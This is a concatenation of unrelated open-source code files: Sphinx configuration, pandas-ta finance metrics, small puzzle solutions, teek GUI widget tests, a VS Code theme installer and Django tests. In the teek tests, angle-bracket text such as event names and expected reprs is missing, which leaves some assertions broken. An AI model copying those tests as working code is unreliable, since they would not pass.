\n","repo_name":"lee-taekgyu/2020-07-23","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14292067602","text":"# -*- coding: utf-8 -*-\n#\n# Configuration file for the Sphinx documentation builder.\n#\n# http://www.sphinx-doc.org/en/master/config\n\n# -- Path setup --------------------------------------------------------------\n\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath('../'))\n\n# -- Project information -----------------------------------------------------\n\nproject = 'snakescale'\ncopyright = '2018, Clint Valentine'\nauthor = 'clintval'\n\n# The short X.Y version\nversion = '0.8'\n# The full version, including alpha/beta/rc tags\nrelease = '0.8.0'\n\n# -- General configuration ---------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\nneeds_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'sphinx.ext.viewcode',\n 'sphinx.ext.mathjax',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.napoleon',\n]\n\nnapoleon_include_private_with_doc = True\nnapoleon_google_docstring = True\nnapoleon_numpy_docstring = True\nnapoleon_use_param = False\nnapoleon_use_ivar = False\nnapoleon_use_rtype = False\n\nautodoc_member_order = 'bysource'\n\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3', None),\n 'snakemake': ('https://snakemake.readthedocs.io/en/stable/', None),\n}\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# Plugins for compiling alternative documentation formats\nsource_suffix = ['.rst', '.md']\nsource_parsers = {'.md': 'recommonmark.parser.CommonMarkParser'}\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = 'en'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path .\nhtml_static_path = []\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'default'\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.\n# See the documentation for a list of builtin themes.\n#\nhtml_theme = \"sphinx_rtd_theme\"\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#\nhtml_theme_options = {\n 'canonical_url': '',\n 'analytics_id': '',\n 'logo_only': False,\n 'display_version': True,\n 'prev_next_buttons_location': 'bottom',\n 'style_external_links': False,\n # Toc options\n 'collapse_navigation': True,\n 'sticky_navigation': True,\n 'navigation_depth': 4,\n 'includehidden': True,\n 'titles_only': False,\n}\n\n# -- Options for HTMLHelp output ---------------------------------------------\n\n# -- Options for LaTeX output ------------------------------------------------\n\n# -- Options for manual page output ------------------------------------------\n\n# -- Options for Texinfo output ----------------------------------------------\n","repo_name":"clintval/snakescale","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"4362855103","text":"# -*- coding: utf-8 -*-\nfrom typing import Tuple\n\nfrom numpy import log as npLog\nfrom numpy import nan as npNaN\nfrom numpy import sqrt as npSqrt\nfrom pandas import Series, Timedelta\n\nfrom ._core import verify_series\nfrom ._time import total_time\nfrom ._math import linear_regression, log_geometric_mean\nfrom pandas_ta import RATE\nfrom pandas_ta.performance import drawdown, log_return, percent_return\n\n\ndef cagr(close: Series) -> float:\n \"\"\"Compounded Annual Growth Rate\n\n Args:\n close (pd.Series): Series of 'close's\n\n >>> result = ta.cagr(df.close)\n \"\"\"\n close = verify_series(close)\n start, end = close.iloc[0], close.iloc[-1]\n return ((end / start) ** (1 / total_time(close))) - 1\n\n\ndef calmar_ratio(close: Series, method: str = \"percent\", years: int = 3) -> float:\n \"\"\"The Calmar Ratio is the percent Max Drawdown Ratio 'typically' over\n the past three years.\n\n Args:\n close (pd.Series): Series of 'close's\n method (str): Max DD calculation options: 'dollar', 'percent', 'log'.\n Default: 'dollar'\n years (int): The positive number of years to use. Default: 3\n\n >>> result = ta.calmar_ratio(close, method=\"percent\", years=3)\n \"\"\"\n if years <= 0:\n print(f\"[!] calmar_ratio 'years' argument must be greater than zero.\")\n return\n close = verify_series(close)\n\n n_years_ago = close.index[-1] - Timedelta(days=365.25 * years)\n close = close[close.index > n_years_ago]\n\n return cagr(close) / max_drawdown(close, method=method)\n\n\ndef downside_deviation(returns: Series, benchmark_rate: float = 0.0, tf: str = \"years\") -> float:\n \"\"\"Downside Deviation for the Sortino ratio.\n Benchmark rate is assumed to be annualized. Adjusted according for the\n number of periods per year seen in the data.\n\n Args:\n close (pd.Series): Series of 'close's\n benchmark_rate (float): Benchmark Rate to use. Default: 0.0\n tf (str): Time Frame options: 'days', 'weeks', 'months', and 'years'.\n Default: 'years'\n\n >>> result = ta.downside_deviation(returns, benchmark_rate=0.0, tf=\"years\")\n \"\"\"\n # For both de-annualizing the benchmark rate and annualizing result\n returns = verify_series(returns)\n days_per_year = returns.shape[0] / total_time(returns, tf)\n\n adjusted_benchmark_rate = ((1 + benchmark_rate) ** (1 / days_per_year)) - 1\n\n downside = adjusted_benchmark_rate - returns\n downside_sum_of_squares = (downside[downside > 0] ** 2).sum()\n downside_deviation = npSqrt(downside_sum_of_squares / (returns.shape[0] - 1))\n return downside_deviation * npSqrt(days_per_year)\n\n\ndef jensens_alpha(returns: Series, benchmark_returns: Series) -> float:\n \"\"\"Jensen's 'Alpha' of a series and a benchmark.\n\n Args:\n returns (pd.Series): Series of 'returns's\n benchmark_returns (pd.Series): Series of 'benchmark_returns's\n\n >>> result = ta.jensens_alpha(returns, benchmark_returns)\n \"\"\"\n returns = verify_series(returns)\n benchmark_returns = verify_series(benchmark_returns)\n\n benchmark_returns.interpolate(inplace=True)\n return linear_regression(benchmark_returns, returns)[\"a\"]\n\n\ndef log_max_drawdown(close: Series) -> float:\n \"\"\"Log Max Drawdown of a series.\n\n Args:\n close (pd.Series): Series of 'close's\n\n >>> result = ta.log_max_drawdown(close)\n \"\"\"\n close = verify_series(close)\n log_return = npLog(close.iloc[-1]) - npLog(close.iloc[0])\n return log_return - max_drawdown(close, method=\"log\")\n\n\ndef max_drawdown(close: Series, method:str = None, all:bool = False) -> float:\n \"\"\"Maximum Drawdown from close. Default: 'dollar'.\n\n Args:\n close (pd.Series): Series of 'close's\n method (str): Max DD calculation options: 'dollar', 'percent', 'log'.\n Default: 'dollar'\n all (bool): If True, it returns all three methods as a dict.\n Default: False\n\n >>> result = ta.max_drawdown(close, method=\"dollar\", all=False)\n \"\"\"\n close = verify_series(close)\n max_dd = drawdown(close).max()\n\n max_dd_ = {\n \"dollar\": max_dd.iloc[0],\n \"percent\": max_dd.iloc[1],\n \"log\": max_dd.iloc[2]\n }\n if all: return max_dd_\n\n if isinstance(method, str) and method in max_dd_.keys():\n return max_dd_[method]\n return max_dd_[\"dollar\"]\n\n\ndef optimal_leverage(\n close: Series, benchmark_rate: float = 0.0,\n period: Tuple[float, int] = RATE[\"TRADING_DAYS_PER_YEAR\"],\n log: bool = False, capital: float = 1., **kwargs\n ) -> float:\n \"\"\"Optimal Leverage of a series. NOTE: Incomplete. Do NOT use.\n\n Args:\n close (pd.Series): Series of 'close's\n benchmark_rate (float): Benchmark Rate to use. Default: 0.0\n period (int, float): Period to use to calculate Mean Annual Return and\n Annual Standard Deviation.\n Default: None or the default sharpe_ratio.period()\n log (bool): If True, calculates log_return. Otherwise it returns\n percent_return. Default: False\n\n >>> result = ta.optimal_leverage(close, benchmark_rate=0.0, log=False)\n \"\"\"\n close = verify_series(close)\n\n use_cagr = kwargs.pop(\"use_cagr\", False)\n returns = percent_return(close=close) if not log else log_return(close=close)\n # sharpe = sharpe_ratio(close, benchmark_rate=benchmark_rate, log=log, use_cagr=use_cagr, period=period)\n\n period_mu = period * returns.mean()\n period_std = npSqrt(period) * returns.std()\n\n mean_excess_return = period_mu - benchmark_rate\n # sharpe = mean_excess_return / period_std\n opt_leverage = (period_std ** -2) * mean_excess_return\n\n amount = int(capital * opt_leverage)\n return amount\n\n\ndef pure_profit_score(close: Series) -> Tuple[float, int]:\n \"\"\"Pure Profit Score of a series.\n\n Args:\n close (pd.Series): Series of 'close's\n\n >>> result = ta.pure_profit_score(df.close)\n \"\"\"\n close = verify_series(close)\n close_index = Series(0, index=close.reset_index().index)\n\n r = linear_regression(close_index, close)[\"r\"]\n if r is not npNaN:\n return r * cagr(close)\n return 0\n\n\ndef sharpe_ratio(close: Series, benchmark_rate: float = 0.0, log: bool = False, use_cagr: bool = False, period: int = RATE[\"TRADING_DAYS_PER_YEAR\"]) -> float:\n \"\"\"Sharpe Ratio of a series.\n\n Args:\n close (pd.Series): Series of 'close's\n benchmark_rate (float): Benchmark Rate to use. Default: 0.0\n log (bool): If True, calculates log_return. Otherwise it returns\n percent_return. Default: False\n use_cagr (bool): Use cagr - benchmark_rate instead. Default: False\n period (int, float): Period to use to calculate Mean Annual Return and\n Annual Standard Deviation.\n Default: RATE[\"TRADING_DAYS_PER_YEAR\"] (currently 252)\n\n >>> result = ta.sharpe_ratio(close, benchmark_rate=0.0, log=False)\n \"\"\"\n close = verify_series(close)\n returns = percent_return(close=close) if not log else log_return(close=close)\n\n if use_cagr:\n return cagr(close) / volatility(close, returns, log=log)\n else:\n period_mu = period * returns.mean()\n period_std = npSqrt(period) * returns.std()\n return (period_mu - benchmark_rate) / period_std\n\n\ndef sortino_ratio(close: Series, benchmark_rate: float = 0.0, log: bool = False) -> float:\n \"\"\"Sortino Ratio of a series.\n\n Args:\n close (pd.Series): Series of 'close's\n benchmark_rate (float): Benchmark Rate to use. Default: 0.0\n log (bool): If True, calculates log_return. Otherwise it returns\n percent_return. Default: False\n\n >>> result = ta.sortino_ratio(close, benchmark_rate=0.0, log=False)\n \"\"\"\n close = verify_series(close)\n returns = percent_return(close=close) if not log else log_return(close=close)\n\n result = cagr(close) - benchmark_rate\n result /= downside_deviation(returns)\n return result\n\n\ndef volatility(close: Series, tf: str = \"years\", returns: bool = False, log: bool = False, **kwargs) -> float:\n \"\"\"Volatility of a series. Default: 'years'\n\n Args:\n close (pd.Series): Series of 'close's\n tf (str): Time Frame options: 'days', 'weeks', 'months', and 'years'.\n Default: 'years'\n returns (bool): If True, then it replace the close Series with the user\n defined Series; typically user generated returns or percent returns\n or log returns. Default: False\n log (bool): If True, calculates log_return. Otherwise it calculates\n percent_return. Default: False\n\n >>> result = ta.volatility(close, tf=\"years\", returns=False, log=False, **kwargs)\n \"\"\"\n close = verify_series(close)\n\n if not returns:\n returns = percent_return(close=close) if not log else log_return(close=close)\n else:\n returns = close\n\n returns = log_geometric_mean(returns).std()\n # factor = returns.shape[0] / total_time(returns, tf)\n # if kwargs.pop(\"nearest_day\", False) and tf.lower() == \"years\":\n # factor = int(factor + 1)\n # return npSqrt(factor) * returns.std()\n return returns\n","repo_name":"twopirllc/pandas-ta","sub_path":"pandas_ta/utils/_metrics.py","file_name":"_metrics.py","file_ext":"py","file_size_in_byte":9110,"program_lang":"python","lang":"en","doc_type":"code","stars":4180,"dataset":"github-code","pt":"31"} +{"seq_id":"14556871112","text":"\"\"\"\nIPO 502\nhttps://discuss.leetcode.com/topic/77768/very-simple-greedy-java-solution-using-two-priorityqueues\nhttps://discuss.leetcode.com/topic/77795/python-solution\npyhton heapq:\nhttps://github.com/qiwsir/algorithm/blob/master/heapq.md\n\"\"\"\nfrom queue import PriorityQueue as pq\nfrom heapq import *\n\ndef findMaxCapital(k, W, profits, capital):\n heap = []\n # sort the projects by their (caital, profit)\n projects = sorted(zip(capital, profits))\n i = 0\n for _ in range(k):\n # store all the projects that can be processed under the current capital\n while i < len(projects) and projects[i][0] <= W:\n heappush(heap, -projects[i][1]) # select the most profitable one\n i += 1\n if heap:\n W -= heappop(heap)\n return W\n\nprint(findMaxCapital(2, 0, [1,2,3], [0,1,1])) # 4","repo_name":"Klose6/Leetcode","sub_path":"502_ipo.py","file_name":"502_ipo.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71416865689","text":"import collections.abc\nimport contextlib\nimport os\nimport re\n\nimport pytest\n\nimport teek\n\n\nDATA_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data')\n\n\ndef _get_all_subclasses(claas):\n for subclass in claas.__subclasses__():\n yield subclass\n yield from _get_all_subclasses(subclass)\n\n\ndef test_all_widgets_fixture(all_widgets):\n assert {type(widget) for widget in all_widgets} == {\n claas for claas in _get_all_subclasses(teek.Widget)\n if claas.__module__.startswith('teek.')\n }\n\n\ndef test_manual_page_links_in_docstrings(all_widgets):\n for claas in map(type, all_widgets):\n if claas is not teek.Window:\n text = ('Manual page: :man:`%s(3tk)`'\n % claas._widget_name.replace('::', '_'))\n assert text in claas.__doc__\n\n\ndef test_that_widget_names_dont_contain_horrible_mistakes(all_widgets):\n for widget in all_widgets:\n if isinstance(widget, teek.Window):\n # it is weird, and it is supposed to be weird\n continue\n\n class_name = type(widget).__name__\n tcl_command = widget._widget_name\n assert class_name.lower() in tcl_command\n\n\ndef test_tk_class_names(all_widgets):\n for widget in all_widgets:\n if not isinstance(widget, teek.Window):\n winfo_result = teek.tcl_call(str, 'winfo', 'class', widget)\n assert winfo_result == type(widget).tk_class_name\n\n # special cases\n assert teek.Widget.tk_class_name is None\n assert teek.Window.tk_class_name is None\n\n class LolWidget(teek.Widget):\n pass\n\n class LolLabel(teek.Label):\n pass\n\n assert LolWidget.tk_class_name is None\n assert LolLabel.tk_class_name == 'TLabel'\n\n\ndef test_basic_repr_stuff(monkeypatch):\n monkeypatch.syspath_prepend(DATA_DIR)\n import subclasser\n\n window = teek.Window()\n frame = teek.Frame(window)\n label1 = teek.Label(window, text='a')\n label2 = subclasser.LolLabel(window, text='b')\n\n assert repr(label1) == \"\"\n assert repr(label2) == \"\"\n assert repr(frame) == \"\"\n\n\n@contextlib.contextmanager\ndef _tkinter_hint(bad, assigning):\n with pytest.raises(TypeError) as error:\n yield\n\n good = \"widget.config['option']\"\n if assigning:\n good += \" = value\"\n assert str(error.value) == \"use %s, not %s\" % (good, bad)\n\n\ndef test_tkinter_hints():\n window = teek.Window()\n\n with _tkinter_hint(\"widget['option']\", assigning=False):\n window['whatever']\n\n # this uses assigning=False because the error message is supposed to\n # be just like the one above\n with _tkinter_hint(\"widget['option']\", assigning=False):\n window['whatever'] = 'blah'\n\n with _tkinter_hint(\"widget.config(option=value)\", assigning=True):\n window.config(whatever='blah')\n\n with _tkinter_hint(\"widget.configure(option=value)\", assigning=True):\n window.configure(whatever='blah')\n\n\ndef test_creating_instance_of_wrong_class():\n with pytest.raises(TypeError) as error:\n teek.Widget(None)\n assert \"cannot create instances of Widget\" in str(error.value)\n\n\ndef test_destroy():\n window = teek.Window()\n label = teek.Label(window)\n frame = teek.Frame(window)\n button = teek.Button(frame)\n widgets = [window, label, button]\n\n command = teek.create_command(print, str)\n label.command_list.append(command)\n assert teek.tcl_call([str], 'info', 'commands', command) == [command]\n\n assert window.winfo_children() == [label, frame]\n assert frame.winfo_children() == [button]\n\n for widget in widgets:\n assert widget.winfo_exists()\n\n window.destroy()\n for widget in widgets:\n assert not widget.winfo_exists()\n assert repr(widget).startswith('', asd.append, event=True)\n teek.quit()\n assert len(asd) == 1\n\n\n# the bug was: Widget.destroy() destroyed the widget after deleting\n# command_list commands, but binding had a command_list command\ndef test_destroy_event_bug(handy_callback):\n for gonna_update_in_between in [True, False]:\n frame = teek.Frame(teek.Window())\n\n @handy_callback\n def on_destroy():\n pass\n\n frame.bind('', on_destroy)\n if gonna_update_in_between:\n teek.update()\n\n frame.destroy()\n assert on_destroy.ran_once()\n teek.update()\n\n\ndef test_options():\n window = teek.Window()\n\n for widget in [teek.Button(window), teek.Label(window)]:\n assert 'behaves like a dict' in repr(widget.config)\n assert len(widget.config) == len(list(widget.config))\n\n # abbreviations aren't allowed, it simplifies the implementation\n # and people aren't aware of abbreviating things in tk anyway\n assert 'text' in widget.config\n assert 'tex' not in widget.config\n with pytest.raises(KeyError):\n widget.config['tex']\n\n with pytest.raises(TypeError):\n widget.config.pop('text')\n\n # buttons are tested below, this makes sure that windows and\n # labels don't do something weird when they get an option that\n # they shouldn't support\n if not isinstance(widget, teek.Button):\n with pytest.raises(KeyError):\n widget.config['command'] = print\n\n widget1 = teek.Label(window, 'lol')\n widget1.config.update({'text': 'asd'})\n widget2 = teek.Label(window, text='asd')\n assert widget1.config == widget2.config\n widget2.config['text'] = 'tootie'\n assert widget1.config != widget2.config\n\n\ndef test_bind(handy_callback):\n widget = teek.Window()\n assert not widget.bindings.keys()\n\n @handy_callback\n def tcl_call_bound_callback():\n pass\n\n @handy_callback\n def teek_bound_callback():\n pass\n\n command = teek.create_command(tcl_call_bound_callback)\n\n teek.tcl_call(None, 'bind', widget, '<>', command)\n assert widget.bindings.keys() == {'<>'}\n widget.bind('<>', teek_bound_callback)\n teek.update()\n teek.tcl_call(None, 'event', 'generate', widget, '<>')\n\n teek.delete_command(command)\n\n assert tcl_call_bound_callback.ran_once() # tests binding with +\n assert teek_bound_callback.ran_once()\n\n # some binding strings are equivalent\n assert widget.bindings[''] is widget.bindings['']\n assert widget.bindings['<3>'] is widget.bindings['']\n\n assert repr(widget.bindings) == ''\n\n\ndef test_bind_class(handy_callback):\n @handy_callback\n def class_callback():\n pass\n\n @handy_callback\n def all_callback():\n pass\n\n teek.Text.bind_class('<>', class_callback)\n teek.Widget.bind_class('<>', all_callback)\n\n text = teek.Text(teek.Window())\n text.pack()\n teek.update() # make sure that virtual events work\n text.event_generate('<>')\n\n assert class_callback.ran_once()\n assert all_callback.ran_once()\n\n class FunnyWidget(teek.Widget):\n pass\n\n with pytest.raises(AttributeError) as error:\n text.class_bindings\n\n assert str(error.value) == (\n \"the class_bindings attribute must be used like Text.class_bindings, \"\n \"not like some_text_instance.class_bindings\")\n\n with pytest.raises(AttributeError) as error2:\n FunnyWidget.class_bindings\n\n with pytest.raises(AttributeError) as error3:\n FunnyWidget.bind_class('<>', print)\n\n assert str(error2.value) == str(error3.value) == (\n \"FunnyWidget cannot be used with class_bindings and bind_class()\")\n\n\ndef test_bind_break():\n events = []\n widget = teek.Window()\n widget.bind('<>', (lambda: events.append('one')))\n widget.bind('<>', (lambda: [events.append('two'), 'break'][1])) # lol\n widget.bind('<>', (lambda: events.append('three')))\n\n teek.update() # needed for virtual events to work\n widget.event_generate('<>')\n\n\ndef test_event_objects():\n events = []\n\n widget = teek.Window()\n widget.bind('<>', events.append, event=True)\n teek.update() # needed for virtual events to work\n widget.event_generate('<>', data='asd asd')\n event = events.pop()\n assert not events\n\n # if some of these checks fail, feel free to make them less strict\n assert event.data(str) == 'asd asd'\n assert event.above is None\n assert event.borderwidth is None\n assert event.button is None\n assert event.char == '??'\n assert event.count is None\n assert event.delta is None\n assert event.focus is None\n assert event.height is None\n assert isinstance(event.i_window, int)\n assert event.keycode is None\n assert event.keysym == '??'\n assert event.keysym_num is None\n assert event.mode == '??'\n assert event.override is None\n assert event.place == '??'\n assert event.property_name == '??'\n assert event.root == 0\n assert event.rootx == -1\n assert event.rooty == -1\n assert event.sendevent is False\n assert isinstance(event.serial, int)\n assert event.state == '0'\n assert event.subwindow == 0\n assert event.time == 0\n assert event.type == 35 # see some docs somewhere i dunno why 35\n assert event.widget is widget\n assert event.width is None\n assert event.x == 0\n assert event.y == 0\n\n regex = r\"\"\n assert re.fullmatch(regex, repr(event)) is not None\n\n\ndef test_bind_deletes_tcl_commands(handy_callback):\n widget = teek.Window()\n widget.bind('', print)\n tcl_codes = teek.tcl_call(str, 'bind', widget, '')\n command_string = re.search(r'teek_command_\\d+', tcl_codes).group(0)\n\n assert command_string in teek.tcl_call([str], 'info', 'commands')\n widget.destroy()\n assert command_string not in teek.tcl_call([str], 'info', 'commands')\n\n\ndef test_config_types(check_config_types, all_widgets):\n for widget in all_widgets:\n check_config_types(widget.config, type(widget).__name__)\n\n\ndef test_from_tcl():\n window = teek.Window()\n widget_path = window.to_tcl()\n assert isinstance(widget_path, str)\n\n assert teek.Window.from_tcl(widget_path) is window\n assert teek.Widget.from_tcl(widget_path) is window\n\n with pytest.raises(TypeError) as error:\n teek.Label.from_tcl(widget_path)\n assert str(error.value).endswith(\" is a Window, not a Label\")\n\n\n@pytest.mark.skipif(teek.TK_VERSION < (8, 6), reason=\"busy is new in Tk 8.6\")\ndef test_busy(all_widgets):\n for widget in all_widgets:\n assert widget.busy_status() is False\n widget.busy_hold()\n assert widget.busy_status() is True\n widget.busy_forget()\n assert widget.busy_status() is False\n\n with pytest.raises(ZeroDivisionError):\n with widget.busy():\n assert widget.busy_status() is True\n 1 / 0\n\n assert widget.busy_status() is False\n\n\ndef get_counter_value(widget):\n match = re.search(r'\\d+$', widget.to_tcl())\n assert match\n return int(match.group(0))\n\n\ndef test_widget_name_bug():\n # this bug occurs when we have 2 classes with the same name\n class Asd(teek.Label):\n pass\n\n AsdLabel = Asd\n\n class Asd(teek.Button):\n pass\n\n AsdButton = Asd\n\n # it must not be possible to have two Asds with same to_tcl() widget path,\n window = teek.Window()\n label = AsdLabel(window)\n button = AsdButton(window)\n\n while get_counter_value(label) < get_counter_value(button):\n label = AsdLabel(window)\n assert label.to_tcl() != button.to_tcl()\n\n while get_counter_value(button) < get_counter_value(label):\n button = AsdButton(window)\n assert label.to_tcl() != button.to_tcl()\n\n\ndef test_winfo_ismapped():\n window = teek.Window()\n teek.update()\n assert window.winfo_ismapped() is True\n\n frame = teek.Frame(window)\n assert frame.winfo_ismapped() is False\n teek.update()\n assert frame.winfo_ismapped() is False\n\n frame.pack()\n teek.update()\n assert frame.winfo_ismapped() is True\n\n\ndef test_winfo_x_y_rootx_rooty_width_height_reqwidth_reqheight():\n # layout in the window looks like this:\n # ________\n # | |\n # | |\n # | |\n # | |456px\n # | |\n # | |\n # |________|___\n # 123px | a |\n # `---'\n window = teek.Window()\n spacer = teek.Frame(window, width=123, height=456)\n spacer.grid(row=1, column=1)\n label = teek.Label(window, text='a')\n label.grid(row=2, column=2)\n window.geometry(100, 200)\n teek.update()\n\n assert window.toplevel.winfo_x() == window.toplevel.winfo_rootx()\n assert window.toplevel.winfo_y() == window.toplevel.winfo_rooty()\n assert window.toplevel.winfo_width() == 100\n assert window.toplevel.winfo_height() == 200\n assert window.toplevel.winfo_reqwidth() > 123\n assert window.toplevel.winfo_reqheight() > 456\n\n assert spacer.winfo_x() == 0\n assert spacer.winfo_y() == 0\n assert spacer.winfo_rootx() == window.toplevel.winfo_x()\n assert spacer.winfo_rooty() == window.toplevel.winfo_y()\n assert spacer.winfo_width() == 123\n assert spacer.winfo_height() == 456\n assert spacer.winfo_reqwidth() == 123\n assert spacer.winfo_reqheight() == 456\n\n assert label.winfo_x() == 123\n assert label.winfo_y() == 456\n assert label.winfo_rootx() == window.toplevel.winfo_x() + 123\n assert label.winfo_rooty() == window.toplevel.winfo_y() + 456\n assert label.winfo_width() > 0\n assert label.winfo_height() > 0\n assert label.winfo_reqwidth() > 0\n assert label.winfo_reqheight() > 0\n\n\ndef test_winfo_id():\n window = teek.Window()\n frame1 = teek.Frame(window)\n frame2 = teek.Frame(window)\n assert isinstance(frame1.winfo_id(), int)\n assert frame1.winfo_id() == frame1.winfo_id()\n assert frame1.winfo_id() != frame2.winfo_id()\n\n\ndef test_focus(fake_command):\n widget = teek.Window()\n\n with fake_command('focus') as called:\n widget.focus()\n widget.focus(force=True)\n assert called == [\n [widget.to_tcl()],\n ['-force', widget.to_tcl()],\n ]\n\n\ndef test_state():\n assert teek.Menu().state is None\n assert teek.Toplevel().state is None\n\n state = teek.Button(teek.Window()).state\n assert state is not None\n assert isinstance(state, collections.abc.Set)\n assert isinstance(state, collections.abc.MutableSet)\n\n assert 'disabled' not in state\n\n state.add('disabled')\n assert 'disabled' in state\n state.add('disabled')\n assert 'disabled' in state\n\n state.discard('disabled')\n assert 'disabled' not in state\n state.discard('disabled')\n assert 'disabled' not in state\n\n state.add('disabled')\n state.remove('disabled')\n assert 'disabled' not in state\n with pytest.raises(KeyError):\n state.remove('disabled')\n\n assert not state\n assert repr(state) == \"\"\n state.add('disabled')\n assert state\n assert repr(state) == \"\"\n","repo_name":"Akuli/teek","sub_path":"tests/widgets/test_common_stuff.py","file_name":"test_common_stuff.py","file_ext":"py","file_size_in_byte":15816,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"31"} +{"seq_id":"41093462784","text":"def getDigit(segment):\n seglen = len(segment)\n if seglen == 2:\n return 1\n if seglen == 4:\n return 4\n if seglen == 3:\n return 7\n if seglen == 7:\n return 8\n return -1\n\n\nif __name__ == \"__main__\":\n with open(\"input.txt\") as f:\n lines = f.readlines()\n\n uniqueDigits = 0\n for line in lines:\n [input, output] = line.split(\" | \")\n output = output.splitlines()[0].split(\" \")\n for o in output:\n digit = getDigit(o)\n if digit == 1 or digit == 4 or digit == 7 or digit == 8:\n uniqueDigits += 1\n\n print(f\"1, 4, 7, or 8 appears {uniqueDigits} times in the output\")\n","repo_name":"jrtitus/aoc-2021","sub_path":"8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22829436183","text":"import tensorflow as tf\n\n\ndef _parse_function(example_proto):\n features = {\"image\": tf.FixedLenFeature((), tf.string, default_value=\"\"),\n \"label\": tf.FixedLenFeature((), tf.int32, default_value=0)}\n parsed_features = tf.parse_single_example(example_proto, features)\n return parsed_features[\"image\"], parsed_features[\"label\"]\n\n\n","repo_name":"GlassyWing/tf-learn","sub_path":"high_level/importing_data/E10_dataset_map_tfrecord.py","file_name":"E10_dataset_map_tfrecord.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18863063548","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport shutil\nimport sys\n\nfrom os.path import expanduser\n\nHOME_DIR = expanduser('~')\nCWD = os.getcwd()\n\nTHEME_FILES = [\n 'package.json',\n 'themes/rockin-light.json',\n 'themes/rockin-dark.json'\n]\n\ndef install_theme(extension_dir, extension_name):\n if os.path.exists(extension_dir):\n print('Extension directory found: \"{}\"'.format(extension_dir))\n\n # delete extension if already present\n theme_dir = os.path.join(extension_dir, extension_name)\n if os.path.exists(theme_dir):\n print('Deleting existing theme directory \"{}\"'.format(theme_dir))\n shutil.rmtree(theme_dir, ignore_errors=True)\n\n print('Installing theme to \"{}\"'.format(theme_dir))\n os.makedirs(theme_dir)\n os.makedirs(os.path.join(theme_dir, 'themes'))\n\n for f in THEME_FILES:\n shutil.copy(os.path.join(CWD, f), os.path.join(theme_dir, f))\n\n else:\n print('No extension directory found at {}'.format(extension_dir))\n\nif __name__ == '__main__':\n try:\n with open('package.json', 'r') as f:\n p = json.load(f)\n EXTENSION_NAME = '{}.{}-{}'.format(\n p['publisher'],\n p['name'],\n p['version']\n ).lower()\n\n # extension dir(s)\n VS_CODE_EXTENSION_DIR = os.path.join(HOME_DIR, '.vscode/extensions/')\n CODIUM_EXTENSION_DIR = os.path.join(HOME_DIR, '.vscode-oss/extensions/')\n FLATPAK_EXTENSION_DIR = os.path.join(HOME_DIR, '.var/app/com.visualstudio.code/data/vscode/extensions/')\n\n print('Attempting to install standard Visual Studio Code installation...')\n install_theme(VS_CODE_EXTENSION_DIR, EXTENSION_NAME)\n print('Attempting to install Codium...')\n install_theme(CODIUM_EXTENSION_DIR, EXTENSION_NAME)\n print('Attempting to install Flatpak-based VSCode installation...')\n install_theme(FLATPAK_EXTENSION_DIR, EXTENSION_NAME)\n\n except Exception as e:\n print(e)\n sys.exit(1)\n","repo_name":"RockinDev/vscode-rockin-theme","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37284595122","text":"from django.test import TestCase, Client\nfrom django.urls import reverse\nfrom .models import ForumPost\nfrom django.contrib.auth.models import User\n\n\nclass ForumPostModelTestCase(TestCase):\n def test_str(self):\n test_user = User(username=\"Test Testesen\")\n forum_post = ForumPost(author=test_user, headline=\"Halla balla\", content=\"\")\n self.assertEqual(str(forum_post), \"Halla balla av Test Testesen\")\n\n\nclass ForumPostListViewTestCase(TestCase):\n def test_contains(self):\n test_user = User.objects.create(username=\"Test Testesen\")\n ForumPost.objects.create(author=test_user, headline=\"Halla balla\", content=\"kul post\")\n self.client = Client()\n response = self.client.get(reverse(\"forum:forum_post_list\"))\n self.assertContains(response, \"Halla balla\")\n self.assertContains(response, \"av Test Testesen\")\n self.assertContains(response, \"kul post\")\n\n def test_ordering(self):\n test_user = User.objects.create(username=\"Test Testesen\")\n self.client = Client()\n post1 = ForumPost.objects.create(author=test_user, headline=\"Halla balla1\", content=\"kul post\")\n post2 = ForumPost.objects.create(author=test_user, headline=\"Halla balla2\", content=\"kul post\")\n response = self.client.get(reverse(\"forum:forum_post_list\"))\n self.assertEquals(list(response.context[\"forum_posts\"]), [post2, 